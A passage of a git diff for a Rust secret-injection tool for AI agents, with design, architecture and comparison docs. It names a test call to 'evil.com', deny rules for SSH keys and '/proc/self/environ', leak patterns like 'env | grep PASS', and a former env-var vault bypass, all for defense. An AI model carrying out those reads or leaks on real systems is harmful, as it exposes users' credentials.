env-var backdoor). Integration tests run `cargo test --features test-bypass` to enable the `XOP_VAULT_PASSWORD` env bypass. + +3. **macOS Touch ID = `osascript -l JavaScript` (JXA) 调 LAContext,不是 admin 弹窗** — 旧写法 `do shell script "..." with administrator privileges` 是**系统登录密码框**(红线禁止),且 osascript 命中 admin 授权缓存造成"看起来免密"的假象。正确姿势:`ctx.evaluatePolicyLocalizedReasonReply(1, reason, fn)`(policy 1 = biometrics-only,弹窗无密码选项)+ 主线程 `NSRunLoop.runUntilDate` 自旋等 block 回调;JXA 会把私有队列的回调 marshal 回 JS 线程(实测 NSOperationQueue 探针 107ms)。LAContext 无缓存,每次真弹指纹。 + +4. **Linux 交互 = 直接输 xop passphrase(`pam.rs` 已删)** — 旧实现 `pkexec -- true` 弹的是 polkit **系统登录密码框**,违反"任何时候不要让用户输入系统密码"红线。Linux 没有可移植的"纯指纹"CLI 闸门(pam_fprint 罕见且发行版绑定),身份无法被生物特征证明 → `decide(tty=true, ssh=false, bio=None)` = `RequirePassphrase`,keyring 也不参与(否则等于零验证)。headless 自动化仍走 keyring 静默。 + +5. **`pre_exec` for `RLIMIT_CORE=0`** — `tokio::process::Command` doesn't expose `setrlimit`. Must use `cmd.pre_exec(|| setrlimit(...))` closure (runs after fork, before execve). Pattern in `src/lib.rs::spawn_child`. + +6. **`Secret` in secrecy 0.10 = `SecretBox`** — don't follow 0.8 docs. + +7. **stdout mask uses `Vec` not `String`** — child stdout may be UTF-8 invalid (binary data); bytes avoid `from_utf8` panic. + +8. **audit log flush before child exits** — `AuditLog::write_event` calls `.flush()`. If child crashes mid-exec, audit isn't lost. + +10. **`osascript -l JavaScript` 调用姿势** — 用 `Command::new("/usr/bin/osascript").arg("-l").arg("JavaScript").arg("-e").arg(JXA_SCRIPT).arg(reason)`:reason 走 **argv** 而非字符串拼接,完全没有 shell 引号转义问题。JXA 里 enum 名(`LAPolicyDeviceOwnerAuthenticationWithBiometrics`)不一定桥接成功,**用数字 1** 稳定。详见 `src/auth/touchid.rs::JXA_SCRIPT`。 + +11. **Argon2 parameters** — `m=64 MiB, t=3, p=4` is standard. Don't tune down (defeats offline brute force). Each `xop` invocation pays ~250ms per unlock. + +12. **Vault file is per-user** — `~/.xop/key.db` resolves via `$HOME`. CI tests must set `HOME` to a temp dir before running, which is why `--test-threads=1` matters. + +13. **`XOP_VAULT_PASSWORD` 是 release 后门,必须 feature-gated** — v0.2 早期版本把它当 CI/agent 旁路直接读 env,等于"任何有 env 的进程都能解密 vault"。当前用 `#[cfg(feature = "test-bypass")]` 包住;release 永远不编译这段。校验手段:`strings target/release/xop | grep XOP_VAULT_PASSWORD` 必须空。 + +14. **TTY-aware passphrase prompt** — `is_terminal(stdin)` 决定走 `/dev/tty` 还是 stdin fallback。如果用 `/dev/tty` 文件存在性检测会误判(SSH 下文件存在但不可用)。**用 `std::io::IsTerminal`**(POSIX `isatty(fd)`)才是真信号。 + +15. **vault 不要开两次** — 早期 `xop run` 内部先 `expand_xop_placeholders` 开一次 vault,再 `run_exec` 开一次,导致用户输两次 passphrase。修复:让 `expand_xop_placeholders` 只收集名字(不开 vault),把 placeholder 加进 `SecretRef::argv_placeholder=true` 的列表,让 `run_exec::collect_refs` 一次性带去 `resolve_all`。**原则:vault 整个进程最多 open 一次**。 + +16. **`SecretRef::argv_placeholder` 区分两种注入** — `--secret KEY=NAME` (envp) vs `xop://KEY` (argv)。两者走同一个 vault resolve,但 `build_envp_delta` 跳过 placeholder,`scrub_argv` 处理 placeholder。`ResolvedValue` 镜像标志位。 + +17. **绝不调 macOS Keychain / `security(1)`** — 实测:agent 后台会话里 `security add/find/delete-generic-password` 会弹系统授权对话框("xop wants to modify/delete keys"),用户体验等同攻击,整个 keychain 方案 2026-10-02 被否决删除。免密解锁 = `~/.xop/keyring` 0600 文件(存 argon2 派生密钥 hex,非 passphrase 本身;mode 不合规直接拒用)。OS 预闸门顺序写死在 keyring 读取之前,且闸门结论决定 keyring 资格——本地指纹通过或 headless 才免输;SSH/无指纹交互必须输口令,keyring 根本不读。 + +18. **lib 单元测试禁止 set_var 全局 env** — `cargo test --lib` 默认并行;keyring 测试曾用 `set_var("HOME", tmpdir)` + `set_var("XOP_NO_KEYRING")`,4 个测试随机红(别的测试同时读到被改的 HOME)。解法:文件逻辑抽成路径显式的 `save_at/load_at/remove_at(&Path)` 纯函数,wrapper 才解析 `path()`+env 门控;测试只打 tempdir 路径。决策逻辑同理抽成 `auth::decide(tty, ssh, bio)` 纯函数,测 SSH/headless 分支不碰 env。(集成测试单进程串行 + 子进程 env 隔离,set_var HOME 仍安全,保持 `--test-threads=1`。) + +19. **SSH 会话 `isatty(0)` 也是 true——TTY ≠ 本地控制台** — sshd 分配的 pty 让 `isatty(0)`/`is_terminal()` 返回 true,旧闸门据此在 SSH 会话里调 LAContext:Touch ID 弹窗只会出现在**本机物理控制台**,远程用户看不到也点不了,等于卡死/错弹(2026-10-02 实测抱怨"ssh 状态也让输入指纹")。检测用 `SSH_TTY/SSH_CONNECTION/SSH_CLIENT` env(sshd 注入,本地 Terminal.app 没有)。语义:SSH 交互会话 → `Gate::RequirePassphrase`(输 xop 管理员密码,keyring 不参与——没有指纹现证就没有任何身份验证垫底);`ssh host cmd` 无 pty 的自动化 → 仍 headless → keyring 静默(`xop run` 无人值守不受影响)。判断顺序 `!tty → ssh → bio`,headless 检查必须在 ssh 之前。 + +--- + +## 6. Where to look first (file map) + +| Question | File | +|---|---| +| How is the CLI parsed? | `src/args.rs` | +| What does a ref look like (incl. `argv_placeholder` flag)? | `src/secret.rs` | +| What does the policy look like? | `src/policy.rs` | +| How is the vault encrypted? | `src/vault/mod.rs` + `src/vault/format.rs` | +| How does the fingerprint gate work (LAContext via JXA; `Outcome`/`classify`)? 闸门结论怎么决定 keyring 能否静默(`Gate`/`Bio`/`decide(tty,ssh,bio)` 纯决策表:headless→静默 · SSH/无指纹→强制输 passphrase · 取消→exit 77)? | `src/auth/mod.rs` + `src/auth/touchid.rs` | +| What's in each subcommand (incl. `reset`, `key`)? | `src/commands/{init,set,list,get,rm,reset,key}.rs` | +| How does passphrase-free unlock work (file keyring, NOT Keychain)? | `src/vault/keyring.rs` + `src/vault/mod.rs::open`(顺序:OS gate → Gate::AllowKeyring 才读 keyring;RequirePassphrase 直接手输,keyring 不参与) | +| How does `xop run` coordinate env-inject + `xop://` placeholders in one vault open? | `src/lib.rs::run_join_and_exec` + `expand_xop_placeholders` | +| How does argv placeholder substitution work? | `src/injector.rs::scrub_argv` | +| What guards run around the child? | `src/guard/mod.rs` + `src/guard/{stdout,network,file}.rs` | +| Where's the audit invariant enforced? | `src/audit.rs` (test scans 4 keywords) | +| How is the child spawned? | `src/lib.rs::spawn_child` | +| How is stdout filtered? | `src/guard/stdout.rs::pipe_filter_loop` | +| How does passphrase prompt choose `/dev/tty` vs stdin? | `src/vault/mod.rs::rpassword_prompt` | +| Where is `XOP_VAULT_PASSWORD` test bypass gated? | `Cargo.toml::[features]` + `src/vault/mod.rs` `#[cfg(feature = "test-bypass")]` block | +| What's the overall flow? | `docs/architecture.md` | +| What's the threat model? | `docs/threat-model.md` | +| How does this compare to existing tools? | `docs/comparison.md` | + +--- + +## 7. Next-step path (P1 work, 1-2 sessions) + +If you have 2-3 hours and want the NetworkGuard wired up: + +1. **Implement `NetworkGuard::setup`** for macOS (`pfctl` + anchor) and Linux (`iptables` + owner match). +2. **Test**: launch `xop --allow-net=db.local:5432 --deny-net=* -- curl -s db.local:5432` and verify it succeeds; `xop ... -- curl -s evil.com` should fail. +3. **Implement `FileGuard::setup`** for macOS (`sandbox-exec`) and Linux (`landlock`). +5. **Askpass strategy** for SSH: write askpass script, set `SSH_ASKPASS_REQUIRE=force` + `DISPLAY=:0`, `srm -m` on exit. + +That gets v0.2 to a fully-enforced posture (XIP, FS, network all live). Phase 2 adds entropy detection, signal forwarding, library mode. + +--- + +## 8. Future: connecting to xstudio + +xop is **standalone**. When (if) xstudio wants xop as its secrets layer: + +- xstudio already has a `xstudio.ai.runAgentLoop` MCP tool. +- Add a new MCP tool `xstudio.secrets.exec` that calls `xop::run(args)` internally. +- Or expose xop as a CLI that xstudio's agent runtime shells out to. +- The `library mode` item in P2 is exactly for this — `pub use xop::exec` for embedding. + +For now xop doesn't know xstudio exists. Keep it that way until there's a concrete integration ask. + +--- + +## 9. Quick reference + +| What | Where | +|---|---| +| Project root | `/Users/xs/Documents/xop` | +| Reference impl | `refs/secret-agent/` | +| Design docs | `docs/*.md` | +| CLI entry | `src/main.rs` | +| Orchestrator | `src/lib.rs::run` | +| Vault module | `src/vault/mod.rs` | +| Audit invariant test | `src/audit.rs::tests::no_value_field_in_any_event` | +| Tests require | integration: `--features test-bypass` build + `XOP_AUTH_BYPASS=1 XOP_VAULT_PASSWORD=testpass` | \ No newline at end of file diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..a3639eb --- /dev/null +++ b/Makefile @@ -0,0 +1,51 @@ +# xop — Makefile +# +# Common tasks: +# make build — release binary +# make install — install to /usr/local/bin (requires sudo) +# make uninstall — remove from /usr/local/bin +# make test — full test suite +# make smoke — banner + dry-run smoke +# make clean — cargo clean + +PREFIX ?= /usr/local +BINDIR := $(PREFIX)/bin +TARGET := target/release/xop +BIN_NAME := xop + +.PHONY: all build install uninstall test smoke clean check fmt clippy + +build: + cargo build --release + +install: build + install -d $(DESTDIR)$(BINDIR) + install -m 0755 $(TARGET) $(DESTDIR)$(BINDIR)/$(BIN_NAME) + @echo "" + @echo "✓ installed $(BIN_NAME) to $(BINDIR)/$(BIN_NAME)" + @echo " test: $$($(BINDIR)/$(BIN_NAME) --version)" + +uninstall: + rm -f $(DESTDIR)$(BINDIR)/$(BIN_NAME) + @echo "✓ removed $(BINDIR)/$(BIN_NAME)" + +check: + cargo check --all-targets + +test: + cargo test --lib + cargo test --test integration -- --test-threads=1 + +smoke: build + ./$(TARGET) # prints banner + ./$(TARGET) help # prints help + ./$(TARGET) --version # prints version + +fmt: + cargo fmt --all + +clippy: + cargo clippy --all-targets -- -D warnings + +clean: + cargo clean \ No newline at end of file diff --git a/docs/architecture.md b/docs/architecture.md new file mode 100644 index 0000000..adb7f2e --- /dev/null +++ b/docs/architecture.md @@ -0,0 +1,249 @@ +# xop · Architecture + +## Module dependency graph + +``` + main.rs + │ + ▼ + lib.rs (run orchestrator) + │ + ┌────────────┬────────┼────────┬─────────────┬───────────────┐ + │ │ │ │ │ │ + ▼ ▼ ▼ ▼ ▼ ▼ + args.rs secret.rs audit.rs policy.rs guard.rs injector.rs + (clap) (refs) (JSONL) (DSL types) (runtime) (env/askpass/fd) + │ + │ + ┌────────────┼─────────────┐ + │ │ │ + ▼ ▼ ▼ + auth/ vault/ commands/ + │ │ │ + ├─ mod.rs ├─ mod.rs ├─ mod.rs + │ (Gate/ ├─ keyring.rs├─ init.rs + │ decide) └─ format.rs ├─ set.rs + └─ touchid.rs ├─ list.rs + ├─ get.rs + ├─ rm.rs + ├─ reset.rs + └─ key.rs +``` + +`backend/` was removed in v0.2 — the local vault replaces all four external backends. + +## Data flow: a typical invocation + +``` +$ xop --secret DB_PASS=db_pass \ + --allow-net=db.local:5432 \ + --deny-net=* \ + -- mysql -h db.local -u app -e 'SELECT 1' + +1. CLI parse (args.rs) + Args { + subcmd: None, + secrets: [("DB_PASS", "db_pass")], + allow_net: ["db.local:5432"], + deny_net: ["*"], + on_leak: Mask, + dry_run: false, + exec_command: ["mysql", "-h", "db.local", "-u", "app", "-e", "SELECT 1"], + } + +2. Ref resolution (secret.rs) + Ref { key: "db_pass", name: "db_pass" } // bare key, no scheme + +3. Policy build (policy.rs) + Policy { + net: NetPolicy { allow: ["db.local:5432"], deny: ["*"] }, + read: ReadPolicy { deny: ["/proc/self/environ", "~/.ssh/id_*", ...] }, + leak: Mask, + } + +4. Vault resolve (vault::resolve_all) + → auth::authenticate() → Gate // headless(non-TTY)→AllowKeyring; SSH pty→RequirePassphrase (never remote biometric); + // local TTY: LAContext fingerprint — pass→AllowKeyring, cancel→exit 77, no-biometrics→RequirePassphrase + → Gate::AllowKeyring ∧ keyring::load() // ~/.xop/keyring (0600) hit → key, no typing + → Gate::RequirePassphrase ∨ no keyring // rpassword::prompt_password() → derive_key = argon2id(passphrase, salt) + → AES-GCM decrypt → entries["db_pass"] = "hunter2" + → ResolvedValue { key: "DB_PASS", name: "db_pass", backend: "vault", value: Secret("hunter2") } + +5. Injector (injector.rs) + Strategy: Envp (mysql reads MYSQL_PWD natively) + envp_delta: [("DB_PASS", "hunter2"), ("HISTFILE", "/dev/null"), ...] + argv_scrubbed: ["mysql", "-h", "db.local", "-u", "app", "-e", "SELECT 1"] + +6. Audit pre-event (audit.rs) + {"ts":"...","event":"spawn","refs":["db_pass"],"policy_hash":"sha256:abc...", + "child_argv":["mysql","-h","db.local","-u","app","-e","SELECT 1"]} + +7. Network policy application (guard/network.rs) + macOS: pf rule → block all outbound from PID except to db.local:5432 + Linux: iptables -m owner --pid-owner rule + (STUB in v0.2 — runtime TBD) + +8. File policy application (guard/file.rs) + sandbox-exec profile → deny file-read* /proc/*/environ, ~/.ssh/id_* + (STUB in v0.2) + +9. Spawn (tokio::process::Command) + cmd.pre_exec(|| { setrlimit(RLIMIT_CORE, 0, 0); Ok(()) }) // no core dumps + cmd.spawn() with: + - env_clear() + envs(parent_env) + envs(envp_delta) + - stdout: piped to xop's stdout filter + - stderr: piped to xop's stdout filter + - stdin: inherited from parent + - kill_on_drop(true) + +10. Stdout filter (guard/stdout.rs) + Read chunk from child's stdout pipe. + For each chunk, check against secret value patterns. + If match: replace with [REDACTED:DB_PASS] (Mask) or SIGKILL (Kill). + Write to inherited stdout. + +11. Audit post-event + {"ts":"...","event":"exit","child_pid":12345,"exit_code":0,"duration_ms":42} + +12. waitpid() → exit code 0 propagated to xop's caller +``` + +## Subcommand flow (zdata vault operations) + +``` +$ xop set DB_PASS (value piped via stdin) + +1. args.rs → Subcmd::Set { key: "DB_PASS", force: false } + +2. commands::set::run("DB_PASS", false) + a. auth::authenticate("set DB_PASS in vault") → Gate + headless (no TTY) → AllowKeyring (automation path; no osascript call) + SSH_TTY/SSH_CONNECTION set → RequirePassphrase (never prompt biometrics remotely) + local TTY + macOS → LAContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) + pass → AllowKeyring · cancel → exit 77 abort · no biometrics → RequirePassphrase + local TTY + Linux → RequirePassphrase (system password prompt forbidden) + b. Gate::RequirePassphrase → rpassword::prompt_password("Vault passphrase: ") (keyring ignored) + Gate::AllowKeyring + keyring present → silent; no keyring → prompt + c. vault::Vault::open(path) + key = keyring::load() ∨ argon2id(passphrase, salt) + plaintext = AES-GCM-decrypt(ciphertext, nonce, key) + entries = toml::from_str(plaintext) → HashMap + d. read stdin to EOF → get new value (up to 256 chars) + e. if !force && entries.contains_key("DB_PASS"): error KeyAlreadyExists + f. entries.insert("DB_PASS", value) + g. vault.save() + serialize entries to TOML + re-randomize nonce + encrypt with derived key + atomic write: tmp + rename + h. audit::vault_set("DB_PASS") + i. zeroize passphrase buffer (Drop guard) + +Other subcommands follow the same shape: + list: open + enumerate + audit (no stdout for values) + get: open + lookup + print + audit (value to stdout, single line) + rm: open + delete + save + audit (TTY confirm unless --force) +``` + +## Audit log format (JSONL, one event per line) + +```jsonl +{"ts":"2026-10-01T12:34:56.123Z","event":"spawn","refs":["db_pass"],"backends":["vault"],"policy_hash":"sha256:9f2a...","child_argv":["mysql","-h","db.local","-u","app","-e","SELECT 1"],"net_allow":["db.local:5432"],"net_deny":["*"],"leak_action":"mask"} +{"ts":"2026-10-01T12:34:56.165Z","event":"stdout_mask","child_pid":12345,"ref":"db_pass","action":"masked","bytes_replaced":11} +{"ts":"2026-10-01T12:34:56.198Z","event":"exit","child_pid":12345,"exit_code":0,"duration_ms":75} +``` + +Vault subcommand events: +```jsonl +{"ts":"...","event":"vault_init","path":"/home/x/.xop/key.db"} +{"ts":"...","event":"vault_unlock","auth":"touchid","success":true} +{"ts":"...","event":"vault_set","name":"DB_PASS"} +{"ts":"...","event":"vault_get","name":"DB_PASS","ok":true} +{"ts":"...","event":"vault_rm","name":"DB_PASS"} +``` + +**Invariant (I2):** no `value`, `plaintext`, `ciphertext`, or `passphrase` field exists in any event. `secrecy::Secret` never crosses this boundary — only refs, names, and metadata. + +## Trait surfaces + +```rust +// src/auth/mod.rs +#[async_trait] +pub trait Auth: Send + Sync { + async fn authenticate(&self, reason: &str) -> Result<()>; +} + +// src/vault/mod.rs +pub struct Vault { path, salt, nonce, key, entries } +impl Vault { + pub async fn open(path: &Path) -> Result; + // open order is FIXED: auth::authenticate() FIRST, then keyring::load() + // (~/.xop/keyring, 0600 — NOT macOS Keychain) — falls back to typed + // passphrase + argon2id only when the keyring is absent/XOP_NO_KEYRING=1. + pub async fn create(path: &Path, passphrase: &str) -> Result; + // create writes the vault AND saves the derived key to the keyring. + pub fn key_bytes(&self) -> &[u8; 32]; // for `xop key --save` + pub fn get(&self, key: &str) -> Option<&str>; + pub fn set(&mut self, key: &str, value: &str); + pub fn rm(&mut self, key: &str) -> bool; + pub fn list(&self) -> impl Iterator; // (key, created_at) + pub async fn save(&self) -> Result<()>; +} + +// src/guard/mod.rs +#[async_trait] +pub trait Guard: Send + Sync { + fn name(&self) -> &'static str; + async fn setup(&self, policy: &Policy) -> Result<()>; + async fn teardown(&self) -> Result<()>; +} +``` + +## Lifecycle of a Secret\ + +``` +vault::get(key) ──► Option<&str> (borrowed, never exposed to LLM) + │ + ▼ + injector::build_envp_delta ──► Vec<(String, Secret)> + │ │ + ▼ ▼ + SecretBox::expose_secret() ◄──┘ tokio::Command envs iter + │ │ + ▼ ▼ + String child copy at execve String dropped after spawn + │ + ▼ + guard::stdout::filter ──► regex match against child + stdout bytes; never + logs value + │ + ▼ + audit::log_event ──► writes ref/name only; + type system forbids + value field +``` + +The `secrecy::SecretBox` type provides: +- `Debug` impl that prints `` (so accidental `println!("{:?}", s)` is safe). +- `ExposeSecret` trait — explicit `.expose_secret()` required to read. +- `Drop` impl that zeroizes inner `T` (when `T: Zeroize`). + +## Vault file format (binary) + +``` +Offset Size Field +------ ---- ---------------------------------------------------------- +0 4 magic = b"XOP\x01" +4 4 version = 1 (u32 LE) +8 16 salt = argon2id salt (random per vault) +24 12 nonce = AES-GCM nonce (random per save) +36 N ciphertext = AES-256-GCM(key, nonce, plaintext) output +36+N 16 tag = AES-GCM auth tag (appended by aes-gcm crate) + +HEADER_LEN = 4 + 4 + 16 + 12 = 36 +Plaintext = UTF-8 TOML: `entries = { key_name = "value", ... }` +``` + +Write path: encrypt → write to `key.db.tmp.` → fsync → rename to `key.db`. +Read path: open → read header → read ciphertext → decrypt → parse TOML. \ No newline at end of file diff --git a/docs/comparison.md b/docs/comparison.md new file mode 100644 index 0000000..38b8bd3 --- /dev/null +++ b/docs/comparison.md @@ -0,0 +1,65 @@ +# xop vs existing tools + +Detailed positioning against the 5 most relevant alternatives as of 2026-10-01. + +## At a glance + +| Tool | Vault? | Injection method | Stdout mask | Network policy | File policy | OS-auth gate | +|---|---|---|---|---|---|---| +| **xop** (this) | self (AES-256-GCM, argon2id) | envp (+ askpass P1) | ✅ | ✅ (pf/iptables, stubbed P1) | ✅ (sandbox-exec, stubbed P1) | ✅ Touch ID (biometrics-only; SSH/no-biometric → passphrase; Linux: passphrase-only) | +| [secret-agent](https://github.com/paperMoose/secret-agent) | self (age + sqlite) | envp (template) | ✅ | ❌ | ❌ | ❌ (passphrase only) | +| [1Password `op run`](https://developer.1password.com/docs/cli/reference/commands/run/) | external (1P only) | envp | ✅ (default) | ❌ | ❌ | ✅ (1P account) | +| [HashiCorp Vault Agent](https://developer.hashicorp.com/vault/docs/agent-and-proxy) | external (Vault) | env file + sidecar | ❌ | ❌ | ❌ | ✅ (Vault token) | +| [Bitwarden `bw`](https://bitwarden.com/blog/use-bitwarden-to-keep-track-of-your-ai-agents-credentials/) | external (BW) | envp | ❌ (manual) | ❌ | ❌ | ✅ (BW account) | +| [Deno permission](https://docs.deno.com/runtime/reference/cli/run/) | n/a | runtime | n/a | ✅ | ✅ | n/a | + +## Where xop wins + +1. **OS-level pre-gate before the unlock secret.** secret-agent and other self-hosted vaults only require a passphrase. xop gates with a real Touch ID prompt *first* on the local console (macOS, via `LAContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)` — biometrics-only, cancelling refuses the operation). The gate's verdict then decides whether the keyring (`~/.xop/keyring`, 0600 — silent, agent-friendly) may unlock: only a local biometric pass or a headless automation context (agent/pipe) get silent unlock; **SSH sessions and machines without usable biometrics must type the xop passphrase** — a silent keyring pass there would mean zero identity check. Linux interactive is passphrase-only by design (system-password prompts explicitly forbidden). The gate runs even with a keyring present, so biometric alone never decrypts; a stolen `key.db` still needs the keyring file or the passphrase. (Explicitly NOT macOS Keychain — rejected 2026-10-02: `security(1)` popped system dialogs mid-automation.) + +2. **Deno-style policy DSL for arbitrary Unix commands.** secret-agent is great at injection but doesn't constrain *what the child can do*. xop adds `--allow-net=`, `--deny-read=`, etc. — same proven model from Deno runtime. + +3. **Zero external dependencies.** xop owns its own encrypted vault. No `op` / `vault` / `security` CLI to set up; no OAuth flows; no per-resolve subprocess overhead. Single binary works on a fresh machine. + +4. **LLM-aware guards.** Built specifically for the AI-agent use case. `--on-leak=refuse` is a parse-time check that catches `echo $SECRET` patterns *before* spawn — no other tool does this. + +5. **No metadata leakage to `ps`.** v0.1 spawned `op read` per resolve, which leaked `op read op://DevOps/mysql/password` into process listings. v0.2 does all decryption internally — nothing in `ps` reveals what vault items exist. + +## Where existing tools win + +- **secret-agent** has a more mature template engine (`{{NAME}}` substitution in arbitrary command strings) and a richer subcommand surface (create/delete/list/exec/inject/get/env/...). xop only has init/set/list/get/rm + one exec verb. If you need template substitution, secret-agent wins. +- **`op run`** is production-grade for the 1Password-only use case. If you're already deep in 1Password, just use `op run` — it has OAuth refresh, device trust, and a decade of hardening. +- **Vault Agent** has sidecar mode + auto-renewal + Consul Template integration. If you already run Vault Agent in your infrastructure, you don't need xop for the basic case. +- **Deno** is a runtime — it doesn't run arbitrary bash commands. They solve different problems; we just borrow the policy DSL syntax. + +## Detailed diff vs secret-agent + +| Concern | secret-agent | xop (v0.2) | +|---|---|---| +| Vault storage | age + sqlite, self-managed | AES-256-GCM + argon2id, self-managed | +| Auth model | passphrase via `SECRET_AGENT_PASSPHRASE` env or prompt | Touch ID pre-gate (biometrics-only, cancel = refuse) + passphrase prompt | +| Reference syntax | bare-key (e.g. `db_pass`) | bare-key (e.g. `db_pass`) | +| Injection mechanism | env template (`{{NAME}}` in command string) | `--secret KEY=NAME` flag (envp) | +| Stdout sanitization | regex mask by secret name | regex mask by secret name + `--on-leak=kill\|refuse` | +| Network policy | none | `--allow-net=` / `--deny-net=` (pf/iptables, stubbed P1) | +| File policy | none | `--allow-read=` / `--deny-read=` (sandbox-exec, stubbed P1) | +| Dry-run | `secret-agent exec --dry-run` | `xop --dry-run` (shows parsed cmd + effective policy) | +| Audit | none | JSONL log with policy_hash for replay | +| Sub-command surface | 11 commands (create/delete/list/exec/inject/get/env/...) | 6 (init/set/list/get/rm/help) + one exec verb | +| Per-resolve subprocess | none (in-process) | none (in-process) — both avoid spawning CLI per resolve | +| Two-factor by default | no (passphrase only) | yes (OS auth + passphrase) | +| Library mode | no | planned v0.3 (`use xop::exec`) | + +## When NOT to use xop + +- ❌ You need 1Password / Vault / Bitwarden integration → use those tools directly. +- ❌ You need a richer template engine (substituting `{{NAME}}` inside command strings) → use **secret-agent**. +- ❌ You're running untrusted *code* (not just untrusted commands) — use **gVisor** / **Firecracker** / proper microVM isolation. + +## When to use xop + +- ✅ You're building or operating an AI agent (Claude Code, Cursor, custom) and want defense-in-depth around what credentials it can touch AND what it can do with them. +- ✅ You want a single binary with no external service dependencies (no 1P account, no Vault server). +- ✅ You want an OS-level biometric gate (real Touch ID prompt on macOS — no password dialog anywhere in the flow) before the passphrase — two-factor by default. +- ✅ You want dry-run mode that shows the effective policy before execution (great for agent self-correction). +- ✅ You want audit-grade logs of which refs were used when, without storing values. \ No newline at end of file diff --git a/docs/design.md b/docs/design.md new file mode 100644 index 0000000..5cd0cba --- /dev/null +++ b/docs/design.md @@ -0,0 +1,269 @@ +# xop · Design Document + +> Status: v0.2.1 implemented (2026-10-02). Self-contained encrypted vault, no external backend dependencies. Unlock: OS auth gate first, then file keyring (`~/.xop/keyring`, 0600) or typed passphrase — **deliberately NOT the macOS Keychain** (rejected 2026-10-02: system dialogs during automation). + +## 1. Problem statement + +AI agents (Claude Code, Cursor, OpenAI Operator, anything that runs bash) must execute real tools to be useful. Real tools need real credentials. But every existing credential-flow forces the agent to: + +1. **Read the secret into its context window** — the plaintext enters the LLM provider's logs, training pipelines, screenshots, error reports. +2. **Pass the secret as a CLI arg or env var that the agent itself reads** — the secret lives in the agent's process memory, recoverable via debuggers or core dumps. +3. **Repeat the authorization for every operation** — UX death by a thousand "approve this?" prompts. + +The result is a worst-of-both-worlds: secrets leak into places they shouldn't, AND the user is asked to re-approve constantly. + +**Core invariant we want:** the AI agent must never observe a secret value. It only ever sees *references* (bare key names like `db_pass`). Real values live for <1ms in `xop`'s memory, are passed into the child process at `execve()` time via `envp`, and are scrubbed from every persistent layer (logs, audit, history). + +## 2. Design principles + +| # | Principle | Concretely means | +|---|---|---| +| P1 | **References, not values, cross trust boundaries** | LLM API call bodies, IPC payloads, audit logs, and shell history contain only bare key names (`DB_PASS`, `db_pass`). | +| P2 | **One-shot memory lifetime** | Real values live in the parent process only between `Vault::get()` and `execve()`. After `execve` returns, parent memory is zeroized (rpassword + zeroize crate). | +| P3 | **Defense in depth at every layer** | Independent guards: argv parse → OS auth (Touch ID gate) → keyring-or-passphrase unlock → envp inject → stdout mask (`12****【xop禁止将密钥泄漏】`) → network policy. Each fails closed independently. | +| P4 | **Deno-style permission DSL** | `--allow-net=`, `--deny-net=`, `--allow-read=`, `--deny-read=` — same model proven in production by Deno runtime. | +| P5 | **Self-contained vault, no external CLIs** | xop owns its own encrypted vault at `~/.xop/key.db` (AES-256-GCM, argon2id KDF). No `op`/`vault`/`security` subprocesses to verify, no per-resolve spawn overhead, no metadata leaked to `ps`. | +| P6 | **Refuse to do the wrong thing** | Any command that *itself* would print the secret (e.g. `echo $DB_PASS`, `env | grep PASS`, `set -x`) is detected at parse-time or runtime and either masked or refused. | +| P7 | **Boring infrastructure, hot path** | `xop` itself is <5MB static binary, no daemon, no server. Single `fork+execve` per command, returns child's exit code. | + +## 3. Command surface + +``` +xop # banner + 5 examples (no panic, no error) +xop -h | --help | help # full help w/ subcommands + exec examples +xop init # first-run: prompt passphrase × 2, create ~/.xop/key.db +xop set KEY # Touch ID → read stdin → encrypt → write +xop list # Touch ID → enumerate keys (name + created_at, no values) +xop get KEY [-v|--value] # Touch ID → print value MASKED by default (first 2 chars + + # ****【xop禁止将密钥泄漏】); -v prints plaintext for HUMAN + # inspection only (agents must use `xop run` injection) +xop rm KEY # Touch ID → delete key (--force to skip confirm) +xop key [--save|--remove] # manage ~/.xop/keyring auto-unlock key (0600 file, NOT Keychain) +xop [flags] -- CMD [args] # exec mode (inject into child process) +``` + +Exec-mode flags (existing, mostly kept): + +``` + -s, --secret KEY=NAME # NAME = bare key name in vault, injected as env KEY + --secrets-file PATH # bulk-load KEY=NAME pairs + --allow-net=HOSTS # allow child to make outbound network + --deny-net=HOSTS # always-deny (beats allow) + --allow-read=PATHS # allow child to read paths + --deny-read=PATHS # always-deny read (beats allow) + --on-leak=mask|kill|refuse # stdout action on secret pattern + --mask-pattern=REGEX # extra regex to mask in child stdout/stderr + --dry-run # print effective policy; never exec + --audit=PATH # default: ~/.xop/audit.jsonl + --no-color # suppress color in output +``` + +**REMOVED in v0.2**: `--backend` (no longer meaningful — single local vault). + +Exit codes: +- 0 success +- 64 EX_USAGE — bad flags, missing command, bad ref +- 69 EX_UNAVAILABLE — vault unreadable +- 73 EX_CANTCREAT — can't open audit log +- 77 EX_NOPERM — auth cancelled, wrong passphrase, key not found, leak-killed +- 78 EX_CONFIG — vault corrupt or missing init +- 79 EX_SECURITY — secret leak detected and `--on-leak=kill|refuse` +- 130 child received SIGINT + +## 4. Architecture + +``` +┌──────────────────────────────────────────────────────────────────────────┐ +│ xop process │ +│ │ +│ args::Args ◄── clap parse (src/args.rs) │ +│ │ │ +│ ├─ subcommand? ─► commands::{init,set,list,get,rm,key}::run() │ +│ │ ├─ auth::authenticate() (Touch ID gate) │ +│ │ ├─ keyring::load() ∨ rpassword::prompt() │ +│ │ │ (0600 file key → silent; else passphrase) │ +│ │ └─ vault::{open,get,set,...}() │ +│ │ │ +│ └─ exec mode ─► run_exec() │ +│ │ │ +│ ▼ │ +│ SecretRef[] (src/secret.rs) ──► bare "KEY=NAME" pairs │ +│ │ │ +│ ▼ │ +│ policy::Policy (src/policy.rs) │ +│ │ ├── net: NetPolicy { allow, deny } │ +│ │ ├── read: ReadPolicy { allow, deny } │ +│ │ └── leak: Mask | Kill | Refuse │ +│ │ │ +│ ▼ │ +│ vault::resolve_all(refs) ─► auth → keyring ∨ passphrase → decrypt │ +│ │ (single local vault, no subprocess) │ +│ │ key: ~/.xop/keyring (0600) or argon2id(passphrase, salt) │ +│ │ cipher: AES-256-GCM(key, nonce, plaintext) │ +│ ▼ │ +│ injector::plan + build_envp_delta (src/injector.rs) │ +│ │ ├── Envp (default: KEY=VALUE) │ +│ │ ├── Askpass (SSH_ASKPASS — P1) │ +│ │ └── Fd (P1) │ +│ ▼ │ +│ tokio::process::Command spawn with: │ +│ - argv = scrubbed command line (refs unchanged, never values) │ +│ - envp = parent_env + envp_delta │ 